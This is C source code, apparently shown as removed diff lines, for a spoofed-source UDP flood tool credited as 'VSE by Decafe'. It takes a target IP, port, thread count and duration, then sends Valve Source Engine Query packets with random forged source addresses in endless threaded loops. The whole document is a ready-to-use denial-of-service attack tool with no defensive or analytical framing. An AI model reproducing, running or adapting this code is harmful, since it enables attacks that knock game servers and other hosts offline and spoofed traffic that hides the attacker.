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- #include <time.h>
- #include <pthread.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <arpa/inet.h>
- #define MAX_PACKET_SIZE 8192
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
- static unsigned int attport;
- char sourceip[17];
- void init_rand(uint32_t x)
- {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++)
- {
- Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- }
- uint32_t rand_cmwc(void)
- {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- /* function for header checksums */
- unsigned short csum (unsigned short *buf, int nwords)
- {
- unsigned long sum;
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return (unsigned short)(~sum);
- }
- void setup_ip_header(struct iphdr *iph)
- {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
- iph->id = htonl(54321);
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = IPPROTO_UDP;
- iph->check = 0;
- snprintf(sourceip, sizeof(sourceip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
- iph->saddr = inet_addr(sourceip); // Holy fuck this is terrible
- }
- void setup_udp_header(struct udphdr *udph)
- {
- udph->source = htons(8726);
- udph->check = 0;
- memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x73\x47\x6f\x75\x58\x43\x35\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", 25);
- udph->len=htons(sizeof(struct udphdr) + 25);
- }
- void *flood(void *par1)
- {
- char *td = (char *)par1;
- char datagram[MAX_PACKET_SIZE];
- struct iphdr *iph = (struct iphdr *)datagram;
- struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
- struct sockaddr_in sin;
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(td);
- sin.sin_port = attport;
- int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
- if(s < 0){
- fprintf(stderr, "Could not open raw socket.\n");
- exit(-1);
- }
- init_rand(time(NULL));
- memset(datagram, 0, MAX_PACKET_SIZE);
- setup_ip_header(iph);
- setup_udp_header(udph);
- udph->dest = attport;
- udph->source = htons(rand() % 25355);
- iph->daddr = sin.sin_addr.s_addr;
- iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- int tmp = 1;
- const int *val = &tmp;
- if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
- fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
- exit(-1);
- }
- int i=0;
- while(1){
- sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
- setup_ip_header(iph);
- setup_udp_header(udph);
- udph->dest = attport;
- udph->source = htons(rand() % 25355);
- iph->daddr = sin.sin_addr.s_addr;
- iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
- iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
- if(i==5)
- {
- usleep(0);
- i=0;
- }
- i++;
- }
- }
- int main(int argc, char *argv[ ])
- {
- if(argc < 4){
- fprintf(stderr, "Invalid parameters!\n");
- fprintf(stderr, "VSE by Decafe!\n");
- fprintf(stdout, "Usage: %s <target IP> <target port> <throttle> <time (optional)>\n", argv[0]);
- exit(-1);
- }
- int i = 0;
- fprintf(stdout, "Setting up Sockets...\n");
- int max_len = 128;
- char *buffer = (char *) malloc(max_len);
- buffer = memset(buffer, 0x00, max_len);
- int num_threads = atoi(argv[3]);
- pthread_t thread[num_threads];
- struct thread_data td[num_threads];
- attport = htons(atoi(argv[2]));
- for(i = 0;i<num_threads;i++){
- pthread_create( &thread[i], NULL, &flood, (void *) argv[1]);
- }
- fprintf(stdout, "Starting Flood...\n");
- fprintf(stdout, "VSE...\n");
- if(argc > 4)
- {
- sleep(atoi(argv[4]));
- } else {
- while(1){
- sleep(1);
- }
- }
- return 0;
- }
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